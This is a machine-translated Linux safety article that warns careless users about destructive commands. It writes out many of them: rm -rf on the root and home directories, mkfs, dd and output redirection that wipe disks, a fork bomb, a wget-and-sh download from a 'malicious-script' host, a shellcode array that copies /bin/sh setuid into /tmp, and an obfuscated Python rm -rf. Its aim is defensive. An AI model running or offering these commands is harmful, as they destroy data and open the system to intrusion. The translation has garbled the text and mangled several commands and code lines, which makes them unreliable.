Sooner or later, the Linux system will be as popular as Windows, with more people, including people who are not very familiar with the computer, the purpose of this article is to tell you: Linux gives you the greatest degree of freedom at the same time, but also makes the destruction of the system easier, if you do not understand the meaning of certain commands, Downloading a script that contains malicious commands, or being tricked into running certain commands, can easily make you cry too late. This does not mean that Linux is insecure, but that Linux is very insecure in the presence of people who do not know Linux and are very careless. Windows or Linux, the people themselves are the biggest insecurity factor. The following command will delete the files on your hard drive, RM-R Recursive Delete, and-f Force Delete is a very dangerous option, even if the daily operation, you will also encounter the case of mistakenly deleted files. sudo rm-rf/delete root partition All files
sudo rm-rf. Delete all files in the current directory
sudo rm-rf
Ibid.
RM-RFor RM-RF
.Ditto
RM-RF ~/& Delete the root partition and home directory, even if you are not root, the home directory is not spared.
Similarly, if you do not know Mkfs.xxxx (xxxx can be vfat, ext2, ext3, BFS ...) is a format command, run the following command will erase your hard disk partition: sudo mkfs.xxxx
DD is a powerful IO input/output orientation tool that, if used improperly, is very disruptive, not just the current partition, the current system, and sometimes the entire hard drive. sudo dd If=/dev/zero OF=/DEV/SDA all hard drives are zeroed.
sudo dd IF=/DEV/SDA of=/dev/sdb overwrites the contents of the second block with the contents of the first hard drive.
sudo dd if=something OF=/DEV/SDA write junk data to the hard drive.
Similarly, direct command results to the hard disk, equivalent to write garbage on the hard disk: Any_command >/DEV/SDA destroy the hard drive with random data
The above SDA, SDB may also be other similar names. The/dev System of Linux provides convenient and powerful functions for manipulating hardware, and also makes it easier to destroy. The fork command opens a subprocess, and if the fork is placed in an infinite loop, the final child process exhausts all memory resources::() {: |:&};:
This kind of unintelligible symbol, can let the shell continue to fork the sub-process, eventually lead to memory exhaustion, have to restart, this is not a bug, but the shell statement deliberately written in shorthand form. The following is the same: fork while fork
Sometimes, the compression package is also a source of destruction-some compression package requires you to extract to a system already exist in the directory, this time you have to be particularly careful, the compression package may have thousands of small files, with a variety of file names to try to overwrite your existing files. Some compressed packets look small, but extracting them is a gigabyte of junk data that will flood your hard drive. Programs and scripts downloaded from informal websites are also at risk of containing malicious commands and cannot be arbitrarily executed: wget [Url]http://some_place/some_file[/url]
Sh./some_file
wget [Url]http://hax018r.org/malicious-script[/url]
Sh./malicious-script
Download the script to ensure that the source is regular, and if you have the ability, you can read its code. Even if you have a program with the source code, do not compile it randomly: char esp[]
attribute(Section (". Text"))/
E.S.P
Release/
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"Xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"X56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"X8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"X6ex2fx73x68x00x2dx63x00"
"Cp-p/bin/sh/tmp/.beyond; chmod 4755
/tmp/.beyond; ";
It looks like a bunch of meaningless 16 data, if someone tells you, run the program you can not enter the password to get the root of the system, you can not trust him, the above program is actually running "RM-RF ~/&". Python-type scripting language can also be used to sabotage: python-c ' import os; Os.system ("". Join ([Chr (Ord (i)-1) for I in "sn!. sg! "]))‘
This program will actually execute RM-RF
, perhaps you are surprised at the end of the program above "sn!." sg! "What does that mean, is actually RM-RFEach letter of the next! So how do we avoid running malicious programs? First do not use root as a daily user, the above program, if the current user is not root, the scope of the damage will be much smaller. Second, you need to know what commands are used, do not know the commands do not run. Run potentially destructive programs and be careful to check your input.
The third is to ensure that the source of software and scripts are formal.
The last point, though more negative, is really important: back up your data often!!
Linux cautious operation